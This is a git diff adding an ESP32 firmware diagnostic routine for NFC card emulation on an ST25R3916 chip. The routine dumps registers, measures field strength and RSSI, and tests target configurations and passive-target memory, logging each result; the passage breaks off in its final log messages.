firmware_p4/components/Applications/nfc/include/emu_diag.h diff --git a/firmware_p4/components/Applications/nfc/emu_diag.c b/firmware_p4/components/Applications/nfc/emu_diag.c new file mode 100644 index 00000000..867c2c7d --- /dev/null +++ b/firmware_p4/components/Applications/nfc/emu_diag.c @@ -0,0 +1,775 @@ +#include "emu_diag.h" +#include "mf_classic_emu.h" +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" +#include "hb_nfc_timer.h" +#include +#include "esp_log.h" +#include "esp_timer.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +static const char* TAG = "emu_diag"; + +static void dump_key_regs(const char* label) +{ + uint8_t r[64]; + for (int i = 0; i < 64; i++) { + hb_spi_reg_read((uint8_t)i, &r[i]); + } + + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "REG DUMP: %s", label); + ESP_LOGW(TAG, "IO_CONF1(00)=%02X IO_CONF2(01)=%02X", r[0x00], r[0x01]); + ESP_LOGW(TAG, "OP_CTRL(02)=%02X [EN=%d RX_EN=%d TX_EN=%d wu=%d]", + r[0x02], + (r[0x02] >> 7) & 1, + (r[0x02] >> 6) & 1, + (r[0x02] >> 3) & 1, + (r[0x02] >> 2) & 1); + ESP_LOGW(TAG, "MODE(03)=%02X [targ=%d om=0x%X]", + r[0x03], + (r[0x03] >> 7) & 1, + (r[0x03] >> 3) & 0x0F); + ESP_LOGW(TAG, "BIT_RATE(04)=%02X ISO14443A(05)=%02X [no_tx_par=%d no_rx_par=%d antcl=%d]", + r[0x04], r[0x05], + (r[0x05] >> 7) & 1, (r[0x05] >> 6) & 1, r[0x05] & 1); + ESP_LOGW(TAG, "PASSIVE_TGT(08)=%02X [d_106=%d d_212=%d d_ap2p=%d]", + r[0x08], r[0x08] & 1, (r[0x08] >> 1) & 1, (r[0x08] >> 2) & 1); + ESP_LOGW(TAG, "AUX_DEF(0A)=%02X", r[0x0A]); + ESP_LOGW(TAG, "RX_CONF: %02X %02X %02X %02X", + r[0x0B], r[0x0C], r[0x0D], r[0x0E]); + ESP_LOGW(TAG, "MASK: MAIN(16)=%02X TMR(17)=%02X ERR(18)=%02X TGT(19)=%02X", + r[0x16], r[0x17], r[0x18], r[0x19]); + ESP_LOGW(TAG, "IRQ: MAIN(1A)=%02X TMR(1B)=%02X ERR(1C)=%02X TGT(1D)=%02X", + r[0x1A], r[0x1B], r[0x1C], r[0x1D]); + ESP_LOGW(TAG, "PT_STS(21)=%02X", r[0x21]); + ESP_LOGW(TAG, "AD_RESULT(24)=%d ANT_TUNE: A=%02X B=%02X", + r[0x24], r[0x26], r[0x27]); + ESP_LOGW(TAG, "TX_DRIVER(28)=%02X PT_MOD(29)=%02X", + r[0x28], r[0x29]); + ESP_LOGW(TAG, "FLD_ACT(2A)=%02X FLD_DEACT(2B)=%02X", + r[0x2A], r[0x2B]); + ESP_LOGW(TAG, "REG_CTRL(2C)=%02X RSSI(2D)=%02X", + r[0x2C], r[0x2D]); + ESP_LOGW(TAG, "AUX_DISP(31)=%02X [efd_o=%d efd_i=%d osc=%d nfc_t=%d rx_on=%d rx_act=%d tx_on=%d tgt=%d]", + r[0x31], + (r[0x31] >> 0) & 1, + (r[0x31] >> 1) & 1, + (r[0x31] >> 2) & 1, + (r[0x31] >> 3) & 1, + (r[0x31] >> 4) & 1, + (r[0x31] >> 5) & 1, + (r[0x31] >> 6) & 1, + (r[0x31] >> 7) & 1); + ESP_LOGW(TAG, "IC_ID(3F)=%02X [type=%d rev=%d]", + r[0x3F], (r[0x3F] >> 3) & 0x1F, r[0x3F] & 0x07); + ESP_LOGW(TAG, ""); +} + +static void read_regs(uint8_t r[64]) +{ + for (int i = 0; i < 64; i++) { + hb_spi_reg_read((uint8_t)i, &r[i]); + } +} + +typedef struct { + uint8_t addr; + const char* name; +} reg_name_t; + +static void diff_key_regs(const char* a_label, const uint8_t* a, + const char* b_label, const uint8_t* b) +{ + static const reg_name_t keys[] = { + { REG_IO_CONF1, "IO_CONF1" }, + { REG_IO_CONF2, "IO_CONF2" }, + { REG_OP_CTRL, "OP_CTRL" }, + { REG_MODE, "MODE" }, + { REG_BIT_RATE, "BIT_RATE" }, + { REG_ISO14443A, "ISO14443A" }, + { REG_PASSIVE_TARGET, "PASSIVE_TGT" }, + { REG_AUX_DEF, "AUX_DEF" }, + { REG_RX_CONF1, "RX_CONF1" }, + { REG_RX_CONF2, "RX_CONF2" }, + { REG_RX_CONF3, "RX_CONF3" }, + { REG_RX_CONF4, "RX_CONF4" }, + { REG_MASK_MAIN_INT, "MASK_MAIN" }, + { REG_MASK_TIMER_NFC_INT, "MASK_TMR" }, + { REG_MASK_ERROR_WUP_INT, "MASK_ERR" }, + { REG_MASK_TARGET_INT, "MASK_TGT" }, + { REG_PASSIVE_TARGET_STS, "PT_STS" }, + { REG_AD_RESULT, "AD_RESULT" }, + { REG_ANT_TUNE_A, "ANT_TUNE_A" }, + { REG_ANT_TUNE_B, "ANT_TUNE_B" }, + { REG_TX_DRIVER, "TX_DRIVER" }, + { REG_PT_MOD, "PT_MOD" }, + { REG_FIELD_THRESH_ACT, "FLD_ACT" }, + { REG_FIELD_THRESH_DEACT, "FLD_DEACT" }, + { REG_REGULATOR_CTRL, "REG_CTRL" }, + { REG_RSSI_RESULT, "RSSI" }, + { REG_AUX_DISPLAY, "AUX_DISP" }, + }; + + bool key_map[64] = { 0 }; + for (size_t i = 0; i < sizeof(keys)/sizeof(keys[0]); i++) { + key_map[keys[i].addr] = true; + } + + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "REG DIFF: %s vs %s (KEY REGS)", a_label, b_label); + int diff_count = 0; + for (size_t i = 0; i < sizeof(keys)/sizeof(keys[0]); i++) { + uint8_t addr = keys[i].addr; + if (a[addr] != b[addr]) { + ESP_LOGW(TAG, "%-12s (0x%02X): %s=0x%02X %s=0x%02X", + keys[i].name, addr, a_label, a[addr], b_label, b[addr]); + diff_count++; + } + } + if (diff_count == 0) { + ESP_LOGW(TAG, "(no differences in key registers)"); + } + + int other_diff = 0; + for (int i = 0; i < 64; i++) { + if (!key_map[i] && a[i] != b[i]) other_diff++; + } + if (other_diff > 0) { + ESP_LOGW(TAG, "+ %d differences in other registers", other_diff); + } + ESP_LOGW(TAG, ""); +} + +static uint8_t measure_field(void) +{ + hb_spi_direct_cmd(CMD_MEAS_AMPLITUDE); + vTaskDelay(pdMS_TO_TICKS(5)); + uint8_t ad = 0; + hb_spi_reg_read(REG_AD_RESULT, &ad); + return ad; +} + +static uint8_t read_aux(void) +{ + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + return aux; +} + +static void test_field_detection(void) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST 1: FIELD DETECTION"); + ESP_LOGW(TAG, "PRESENT THE PHONE/READER NOW!"); + ESP_LOGW(TAG, ""); + + hb_spi_reg_write(REG_OP_CTRL, 0x80); + vTaskDelay(pdMS_TO_TICKS(50)); + uint8_t ad_en = measure_field(); + uint8_t aux_en = read_aux(); + ESP_LOGW(TAG, "[A] OP=0x80 (EN) AD=%3d AUX=0x%02X [osc=%d] %s", + ad_en, aux_en, (aux_en >> 2) & 1, ad_en > 5 ? "OK" : "FAIL"); + + hb_spi_reg_write(REG_OP_CTRL, 0xC0); + vTaskDelay(pdMS_TO_TICKS(10)); + uint8_t ad_rx = measure_field(); + uint8_t aux_rx = read_aux(); + ESP_LOGW(TAG, "[B] OP=0xC0 (EN+RX) AD=%3d AUX=0x%02X [osc=%d] %s", + ad_rx, aux_rx, (aux_rx >> 2) & 1, ad_rx > 5 ? "OK" : "FAIL"); + + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "Continuous read for 5s:"); + uint8_t max_ad = 0; + for (int i = 0; i < 50; i++) { + uint8_t ad = measure_field(); + if (ad > max_ad) max_ad = ad; + if ((i % 10) == 0) { + uint8_t a = read_aux(); + ESP_LOGW(TAG, "t=%dms: AD=%3d AUX=0x%02X [efd=%d osc=%d]", + i * 100, ad, a, a & 1, (a >> 2) & 1); + } + vTaskDelay(pdMS_TO_TICKS(100)); + } + + ESP_LOGW(TAG, "AD max: %d", max_ad); + if (max_ad < 5) { + ESP_LOGE(TAG, "NO EXTERNAL FIELD DETECTED!"); + ESP_LOGE(TAG, "Check if the NFC reader is on and close"); + ESP_LOGE(TAG, "The antenna may not capture external field (TX only)"); + } + ESP_LOGW(TAG, ""); +} + +static bool test_target_config(int cfg_num, uint8_t op_ctrl, + uint8_t fld_act, uint8_t fld_deact, + uint8_t pt_mod, uint8_t passive_target, + bool antcl) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST 2.%d: CONFIG (OP=0x%02X PT=0x%02X ANTCL=%d ACT=0x%02X DEACT=0x%02X MOD=0x%02X)", + cfg_num, op_ctrl, passive_target, antcl ? 1 : 0, fld_act, fld_deact, pt_mod); + + hb_spi_reg_write(REG_OP_CTRL, 0x00); + vTaskDelay(pdMS_TO_TICKS(2)); + hb_spi_direct_cmd(CMD_SET_DEFAULT); + vTaskDelay(pdMS_TO_TICKS(10)); + + uint8_t ic = 0; + hb_spi_reg_read(REG_IC_IDENTITY, &ic); + if (ic == 0x00 || ic == 0xFF) { + ESP_LOGE(TAG, "CHIP NOT RESPONDING! IC=0x%02X", ic); + ESP_LOGW(TAG, ""); + return false; + } + + hb_spi_reg_write(REG_OP_CTRL, 0x80); + bool osc = false; + for (int i = 0; i < 100; i++) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + if (aux & 0x04) { osc = true; break; } + vTaskDelay(1); + } + ESP_LOGW(TAG, "Oscillator: %s", osc ? "OK" : "NOT STABLE"); + + hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); + vTaskDelay(pdMS_TO_TICKS(5)); + + hb_spi_reg_write(REG_MODE, 0x88); + hb_spi_reg_write(REG_BIT_RATE, 0x00); + uint8_t iso14443a = antcl ? ISO14443A_ANTCL : 0x00; + hb_spi_reg_write(REG_ISO14443A, iso14443a); + hb_spi_reg_write(REG_PASSIVE_TARGET, passive_target); + + hb_spi_reg_write(REG_FIELD_THRESH_ACT, fld_act); + hb_spi_reg_write(REG_FIELD_THRESH_DEACT, fld_deact); + hb_spi_reg_write(REG_PT_MOD, pt_mod); + + mfc_emu_load_pt_memory(); + + hb_spi_reg_write(REG_MASK_MAIN_INT, 0x00); + hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0x00); + hb_spi_reg_write(REG_MASK_ERROR_WUP_INT, 0x00); + hb_spi_reg_write(REG_MASK_TARGET_INT, 0x00); + + st25r_irq_read(); + + hb_spi_reg_write(REG_OP_CTRL, op_ctrl); + vTaskDelay(pdMS_TO_TICKS(5)); + + uint8_t mode_rb = 0, op_rb = 0; + hb_spi_reg_read(REG_MODE, &mode_rb); + hb_spi_reg_read(REG_OP_CTRL, &op_rb); + uint8_t aux0 = read_aux(); + ESP_LOGW(TAG, "Pre-SENSE: MODE=0x%02X OP=0x%02X AUX=0x%02X [osc=%d efd=%d]", + mode_rb, op_rb, aux0, (aux0 >> 2) & 1, aux0 & 1); + + hb_spi_direct_cmd(CMD_GOTO_SENSE); + vTaskDelay(pdMS_TO_TICKS(10)); + + uint8_t pt_sts = 0; + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pt_sts); + uint8_t aux1 = read_aux(); + ESP_LOGW(TAG, "Pos-SENSE: PT_STS=0x%02X AUX=0x%02X [osc=%d efd=%d tgt=%d]", + pt_sts, aux1, (aux1 >> 2) & 1, aux1 & 1, (aux1 >> 7) & 1); + + ESP_LOGW(TAG, "Monitoring 10s (READER CLOSE!)..."); + + bool wu_a = false, sdd_c = false, any_irq = false; + int64_t t0 = esp_timer_get_time(); + int last_report = -1; + + while ((esp_timer_get_time() - t0) < 10000000LL) { + uint8_t tgt_irq = 0, main_irq = 0, err_irq = 0; + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_ERROR_INT, &err_irq); + + if (tgt_irq || main_irq || err_irq) { + int ms = (int)((esp_timer_get_time() - t0) / 1000); + ESP_LOGW(TAG, "[%dms] TGT=0x%02X MAIN=0x%02X ERR=0x%02X", + ms, tgt_irq, main_irq, err_irq); + any_irq = true; + if (tgt_irq & 0x80) { ESP_LOGI(TAG, "WU_A!"); wu_a = true; } + if (tgt_irq & 0x40) { ESP_LOGI(TAG, "WU_A_X (anti-col done)!"); } + if (tgt_irq & 0x04) { ESP_LOGI(TAG, "SDD_C (SELECTED)!"); sdd_c = true; } + if (tgt_irq & 0x08) { ESP_LOGI(TAG, "OSCF (osc stable)"); } + if (main_irq & 0x04) { + ESP_LOGI(TAG, "RXE (data received)!"); + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + ESP_LOGI(TAG, "FIFO: %d bytes", fs1); + } + } + + int sec = (int)((esp_timer_get_time() - t0) / 1000000); + if (sec != last_report && (sec % 3) == 0) { + last_report = sec; + uint8_t ad = measure_field(); + uint8_t a = read_aux(); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + ESP_LOGW(TAG, "[%ds] AD=%d AUX=0x%02X [efd=%d osc=%d]", + sec, ad, a, a & 1, (a >> 2) & 1); + } + + vTaskDelay(1); + } + + ESP_LOGW(TAG, ""); + if (sdd_c) { + ESP_LOGI(TAG, "CONFIG %d: SUCCESS SELECTED!", cfg_num); + } else if (wu_a) { + ESP_LOGI(TAG, "CONFIG %d: Field detected, anti-col failed", cfg_num); + } else if (any_irq) { + ESP_LOGW(TAG, "CONFIG %d: IRQ seen but no WU_A", cfg_num); + } else { + ESP_LOGE(TAG, "CONFIG %d: NO IRQ in 10s", cfg_num); + } + ESP_LOGW(TAG, ""); + + return sdd_c; +} + +static void test_pt_memory(void) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST 3: PT MEMORY"); + + (void)hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_EN); + vTaskDelay(pdMS_TO_TICKS(2)); + + hb_nfc_err_t err = mfc_emu_load_pt_memory(); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "mfc_emu_load_pt_memory failed: %d", err); + ESP_LOGW(TAG, ""); + hb_spi_reg_write(REG_OP_CTRL, 0x00); + return; + } + vTaskDelay(pdMS_TO_TICKS(2)); + + uint8_t ptm[15] = {0}; + err = hb_spi_pt_mem_read(ptm, 15); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "hb_spi_pt_mem_read failed: %d", err); + ESP_LOGW(TAG, ""); + hb_spi_reg_write(REG_OP_CTRL, 0x00); + return; + } + + ESP_LOGW(TAG, "PT Memory: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X", + ptm[0], ptm[1], ptm[2], ptm[3], ptm[4], ptm[5], ptm[6], ptm[7], + ptm[8], ptm[9], ptm[10], ptm[11], ptm[12], ptm[13], ptm[14]); + ESP_LOGW(TAG, "ATQA=%02X%02X UID=%02X%02X%02X%02X BCC=%02X(calc:%02X) SAK=%02X", + ptm[0], ptm[1], ptm[2], ptm[3], ptm[4], ptm[5], + ptm[6], ptm[2] ^ ptm[3] ^ ptm[4] ^ ptm[5], ptm[7]); + + bool bcc_ok = (ptm[6] == (ptm[2] ^ ptm[3] ^ ptm[4] ^ ptm[5])); + ESP_LOGW(TAG, "BCC: %s", bcc_ok ? "OK" : "WRONG!"); + + uint8_t test[15] = {0x04, 0x00, 0xDE, 0xAD, 0xBE, 0xEF, + 0xDE ^ 0xAD ^ 0xBE ^ 0xEF, 0x08, 0,0,0,0,0,0,0}; + hb_spi_pt_mem_write(SPI_PT_MEM_A_WRITE, test, 15); + vTaskDelay(1); + uint8_t rb[15] = {0}; + err = hb_spi_pt_mem_read(rb, 15); + if (err != HB_NFC_OK) { + ESP_LOGE(TAG, "hb_spi_pt_mem_read (rb) failed: %d", err); + ESP_LOGW(TAG, ""); + hb_spi_reg_write(REG_OP_CTRL, 0x00); + return; + } + bool match = (memcmp(test, rb, 15) == 0); + ESP_LOGW(TAG, "Write/Read test: %s", match ? "OK" : "FAILED!"); + if (!match) { + ESP_LOGW(TAG, "Written: %02X %02X %02X %02X %02X %02X %02X %02X", + test[0],test[1],test[2],test[3],test[4],test[5],test[6],test[7]); + ESP_LOGW(TAG, "Read: %02X %02X %02X %02X %02X %02X %02X %02X", + rb[0],rb[1],rb[2],rb[3],rb[4],rb[5],rb[6],rb[7]); + } + + mfc_emu_load_pt_memory(); + ESP_LOGW(TAG, ""); +} + +static void test_oscillator(void) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST 4: OSCILLATOR"); + + uint8_t aux = 0, main = 0, tgt = 0; + if (hb_spi_reg_read(REG_AUX_DISPLAY, &aux) != HB_NFC_OK || + hb_spi_reg_read(REG_MAIN_INT, &main) != HB_NFC_OK || + hb_spi_reg_read(REG_TARGET_INT, &tgt) != HB_NFC_OK) { + ESP_LOGW(TAG, "SPI error reading AUX/MAIN/TGT, skipping oscillator test"); + ESP_LOGW(TAG, ""); + return; + } + ESP_LOGW(TAG, "AUX_DISPLAY=0x%02X (before enabling EN)", aux); + ESP_LOGW(TAG, "osc_ok=%d efd_o=%d rx_on=%d tgt=%d", + (aux>>2)&1, (aux>>0)&1, (aux>>4)&1, (aux>>7)&1); + + if (hb_spi_reg_write(REG_OP_CTRL, 0x80) != HB_NFC_OK) { + ESP_LOGW(TAG, "SPI error writing OP_CTRL, skipping oscillator test"); + ESP_LOGW(TAG, ""); + return; + } + ESP_LOGW(TAG, "OP_CTRL=0x80 (EN) enabling oscillator..."); + + bool osc_started = false; + for (int i = 0; i < 100; i++) { + uint8_t a = 0, m = 0, t = 0; + if (hb_spi_reg_read(REG_AUX_DISPLAY, &a) != HB_NFC_OK || + hb_spi_reg_read(REG_MAIN_INT, &m) != HB_NFC_OK || + hb_spi_reg_read(REG_TARGET_INT, &t) != HB_NFC_OK) { + ESP_LOGW(TAG, "SPI error reading AUX/MAIN/TGT, aborting test"); + ESP_LOGW(TAG, ""); + return; + } + if ((a & 0x04) || (m & IRQ_MAIN_OSC) || (t & IRQ_TGT_OSCF)) { + ESP_LOGI(TAG, "Oscillator stable at %dms! AUX=0x%02X MAIN=0x%02X TGT=0x%02X", + i * 10, a, m, t); + osc_started = true; + break; + } + vTaskDelay(1); + } + + if (!osc_started) { + if (hb_spi_reg_read(REG_AUX_DISPLAY, &aux) != HB_NFC_OK || + hb_spi_reg_read(REG_MAIN_INT, &main) != HB_NFC_OK || + hb_spi_reg_read(REG_TARGET_INT, &tgt) != HB_NFC_OK) { + ESP_LOGW(TAG, "SPI error reading AUX/MAIN/TGT, aborting test"); + ESP_LOGW(TAG, ""); + return; + } + ESP_LOGE(TAG, "Oscillator NOT started after 1s. AUX=0x%02X MAIN=0x%02X TGT=0x%02X", + aux, main, tgt); + ESP_LOGE(TAG, "Bits: efd_o=%d efd_i=%d osc=%d nfc_t=%d rx_on=%d", + (aux>>0)&1, (aux>>1)&1, (aux>>2)&1, (aux>>3)&1, (aux>>4)&1); + } + + if (hb_spi_direct_cmd(CMD_ADJUST_REGULATORS) != HB_NFC_OK) { + ESP_LOGW(TAG, "SPI error on CMD_ADJUST_REGULATORS, ending test"); + ESP_LOGW(TAG, ""); + return; + } + vTaskDelay(pdMS_TO_TICKS(10)); + + uint8_t rc = 0; + if (hb_spi_reg_read(REG_REGULATOR_CTRL, &rc) != HB_NFC_OK || + hb_spi_reg_read(REG_AUX_DISPLAY, &aux) != HB_NFC_OK) { + ESP_LOGW(TAG, "SPI error reading REG_CTRL/AUX, ending test"); + ESP_LOGW(TAG, ""); + return; + } + ESP_LOGW(TAG, "After calibration: AUX=0x%02X REG_CTRL=0x%02X", aux, rc); + ESP_LOGW(TAG, ""); +} + +static void test_aux_def_sweep(void) +{ + static const uint8_t vals[] = { + 0x00, 0x01, 0x02, 0x04, 0x08, + 0x10, 0x20, 0x40, 0x80, 0xFF + }; + + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST X: AUX_DEF SWEEP"); + ESP_LOGW(TAG, "(look for AD>0 or efd=1 with reader close)"); + + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_EN | OP_CTRL_RX_EN); + vTaskDelay(pdMS_TO_TICKS(5)); + + for (size_t i = 0; i < sizeof(vals) / sizeof(vals[0]); i++) { + uint8_t v = vals[i]; + hb_spi_reg_write(REG_AUX_DEF, v); + vTaskDelay(1); + hb_spi_direct_cmd(CMD_MEAS_AMPLITUDE); + vTaskDelay(2); + uint8_t ad = 0; + hb_spi_reg_read(REG_AD_RESULT, &ad); + uint8_t aux = read_aux(); + ESP_LOGW(TAG, "AUX_DEF=0x%02X -> AD=%3u AUX=0x%02X [efd_o=%d efd_i=%d]", + v, ad, aux, aux & 1, (aux >> 1) & 1); + } + + hb_spi_reg_write(REG_AUX_DEF, 0x00); + hb_spi_reg_write(REG_OP_CTRL, 0x00); + ESP_LOGW(TAG, ""); +} + +static void test_self_field_measure(void) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST S: SELF FIELD MEASURE"); + ESP_LOGW(TAG, "(measures AD/RSSI with self field enabled)"); + + st25r_field_on(); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_RESET_RX_GAIN); + vTaskDelay(pdMS_TO_TICKS(1)); + hb_spi_direct_cmd(CMD_MEAS_AMPLITUDE); + vTaskDelay(pdMS_TO_TICKS(2)); + + uint8_t ad = 0, rssi = 0, aux = 0; + hb_spi_reg_read(REG_AD_RESULT, &ad); + hb_spi_reg_read(REG_RSSI_RESULT, &rssi); + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGW(TAG, "self: AD=%u RSSI=0x%02X AUX=0x%02X [efd=%d osc=%d]", + ad, rssi, aux, aux & 1, (aux >> 2) & 1); + + st25r_field_off(); + ESP_LOGW(TAG, ""); +} + +static void test_poller_vs_target_regs(void) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST 0: DIFF POLLER vs TARGET"); + + static uint8_t poller[64]; + static uint8_t target[64]; + static mfc_emu_card_data_t emu; + memset(poller, 0, sizeof(poller)); + memset(target, 0, sizeof(target)); + memset(&emu, 0, sizeof(emu)); + + st25r_set_mode_nfca(); + st25r_field_on(); + vTaskDelay(pdMS_TO_TICKS(5)); + read_regs(poller); + st25r_field_off(); + + emu.uid_len = 4; + emu.uid[0] = 0x04; emu.uid[1] = 0x11; emu.uid[2] = 0x22; emu.uid[3] = 0x33; + emu.atqa[0] = 0x44; emu.atqa[1] = 0x00; + emu.sak = 0x04; + emu.type = MF_CLASSIC_1K; + emu.sector_count = 0; + emu.total_blocks = 0; + + (void)mfc_emu_init(&emu); + (void)mfc_emu_configure_target(); + read_regs(target); + + diff_key_regs("POLL", poller, "TGT", target); + ESP_LOGW(TAG, ""); +} + +static void test_rssi_monitor(int seconds) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST Y: RSSI MONITOR (%ds)", seconds); + ESP_LOGW(TAG, "(NFC reader should be touching)"); + + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_EN | OP_CTRL_RX_EN); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_CLEAR_RSSI); + vTaskDelay(pdMS_TO_TICKS(2)); + + for (int i = 0; i < seconds; i++) { + uint8_t rssi = 0, aux = 0; + hb_spi_reg_read(REG_RSSI_RESULT, &rssi); + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGW(TAG, "t=%ds RSSI=0x%02X AUX=0x%02X [efd=%d osc=%d]", + i, rssi, aux, aux & 1, (aux >> 2) & 1); + vTaskDelay(pdMS_TO_TICKS(1000)); + } + + hb_spi_reg_write(REG_OP_CTRL, 0x00); + ESP_LOGW(TAG, ""); +} + +static void test_rssi_fast(void) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST Y2: RSSI FAST (2s @5ms)"); + ESP_LOGW(TAG, "(NFC reader should be touching)"); + + (void)hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_EN | OP_CTRL_RX_EN); + vTaskDelay(pdMS_TO_TICKS(5)); + (void)hb_spi_direct_cmd(CMD_CLEAR_RSSI); + vTaskDelay(pdMS_TO_TICKS(2)); + + uint8_t max_rssi = 0; + uint8_t max_ad = 0; + int64_t t0 = esp_timer_get_time(); + const int step_ms = 5; + const int total_ms = 2000; + const int samples = total_ms / step_ms; + bool spi_ok = true; + + for (int i = 0; i < samples; i++) { + uint8_t rssi = 0; + if (hb_spi_reg_read(REG_RSSI_RESULT, &rssi) != HB_NFC_OK) { + ESP_LOGW(TAG, "SPI error reading RSSI (i=%d)", i); + spi_ok = false; + break; + } + if (rssi > max_rssi) max_rssi = rssi; + + if ((i % 10) == 0) { + uint8_t aux = 0, ad = 0; + (void)hb_spi_direct_cmd(CMD_MEAS_AMPLITUDE); + vTaskDelay(1); + if (hb_spi_reg_read(REG_AD_RESULT, &ad) != HB_NFC_OK || + hb_spi_reg_read(REG_AUX_DISPLAY, &aux) != HB_NFC_OK) { + ESP_LOGW(TAG, "SPI error reading AD/AUX (i=%d)", i); + spi_ok = false; + break; + } + if (ad > max_ad) max_ad = ad; + + int ms = (int)((esp_timer_get_time() - t0) / 1000); + ESP_LOGW(TAG, "t=%dms RSSI=0x%02X AD=%u AUX=0x%02X [efd=%d osc=%d]", + ms, rssi, ad, aux, aux & 1, (aux >> 2) & 1); + } + + vTaskDelay(pdMS_TO_TICKS(step_ms)); + } + + ESP_LOGW(TAG, "max RSSI=0x%02X max AD=%u", max_rssi, max_ad); + if (spi_ok) { + (void)hb_spi_reg_write(REG_OP_CTRL, 0x00); + } + ESP_LOGW(TAG, ""); +} + +static void test_rf_collision(void) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "TEST Z: RF COLLISION (NFC INITIAL)"); + ESP_LOGW(TAG, "(reader NFC touching, waiting IRQ)"); + + hb_spi_reg_write(REG_MODE, MODE_TARGET_NFCA); + hb_spi_reg_write(REG_BIT_RATE, 0x00); + hb_spi_reg_write(REG_ISO14443A, 0x00); + hb_spi_reg_write(REG_PASSIVE_TARGET, 0x00); + hb_spi_reg_write(REG_FIELD_THRESH_ACT, 0x33); + hb_spi_reg_write(REG_FIELD_THRESH_DEACT, 0x22); + hb_spi_reg_write(REG_PT_MOD, 0x60); + mfc_emu_load_pt_memory(); + hb_spi_reg_write(REG_OP_CTRL, 0x00); + + hb_spi_reg_write(REG_MASK_MAIN_INT, 0x00); + hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0x00); + hb_spi_reg_write(REG_MASK_ERROR_WUP_INT, 0x00); + hb_spi_reg_write(REG_MASK_TARGET_INT, 0x00); + st25r_irq_read(); + + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_EN | OP_CTRL_RX_EN); + vTaskDelay(pdMS_TO_TICKS(5)); + + hb_spi_direct_cmd(CMD_NFC_INITIAL_RF_COL); + vTaskDelay(pdMS_TO_TICKS(2)); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + + int64_t t0 = esp_timer_get_time(); + while ((esp_timer_get_time() - t0) < 5000000LL) { + uint8_t tgt = 0, main = 0, err = 0; + hb_spi_reg_read(REG_TARGET_INT, &tgt); + hb_spi_reg_read(REG_MAIN_INT, &main); + hb_spi_reg_read(REG_ERROR_INT, &err); + if (tgt || main || err) { + int ms = (int)((esp_timer_get_time() - t0) / 1000); + ESP_LOGW(TAG, "[%dms] TGT=0x%02X MAIN=0x%02X ERR=0x%02X", + ms, tgt, main, err); + } + vTaskDelay(pdMS_TO_TICKS(50)); + } + + hb_spi_reg_write(REG_OP_CTRL, 0x00); + ESP_LOGW(TAG, ""); +} + +hb_nfc_err_t emu_diag_full(void) +{ + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "EMULATION DIAGNOSTIC v2"); + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "KEEP THE NFC READER CLOSE DURING"); + ESP_LOGW(TAG, "THE ENTIRE DIAGNOSTIC (~60s total)"); + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "Waiting 5s... Present the NFC reader now!"); + vTaskDelay(pdMS_TO_TICKS(5000)); + + dump_key_regs("INITIAL STATE"); + + test_poller_vs_target_regs(); + + test_oscillator(); + + test_aux_def_sweep(); + + test_self_field_measure(); + + test_rssi_monitor(5); + test_rssi_fast(); + + test_pt_memory(); + + test_field_detection(); + + test_rf_collision(); + + bool ok1 = test_target_config(1, 0xC0, 0x33, 0x22, 0x60, 0x00, false); + if (ok1) goto done; + + bool ok2 = test_target_config(2, 0xC4, 0x33, 0x22, 0x60, 0x00, false); + if (ok2) goto done; + + bool ok3 = test_target_config(3, 0xC8, 0x33, 0x22, 0x60, 0x00, false); + if (ok3) goto done; + + bool ok4 = test_target_config(4, 0xCC, 0x33, 0x22, 0x60, 0x00, true); + if (ok4) goto done; + + test_target_config(5, 0xC0, 0x03, 0x01, 0x17, 0x00, true); + +done: + dump_key_regs("FINAL STATE"); + + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "DIAGNOSTIC COMPLETE"); + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "If AD is always 0:"); + ESP_LOGW(TAG, "Antenna does not pick up external field"); + ESP_LOGW(TAG, "Needs matching circuit for passive RX"); + ESP_LOGW(TAG, 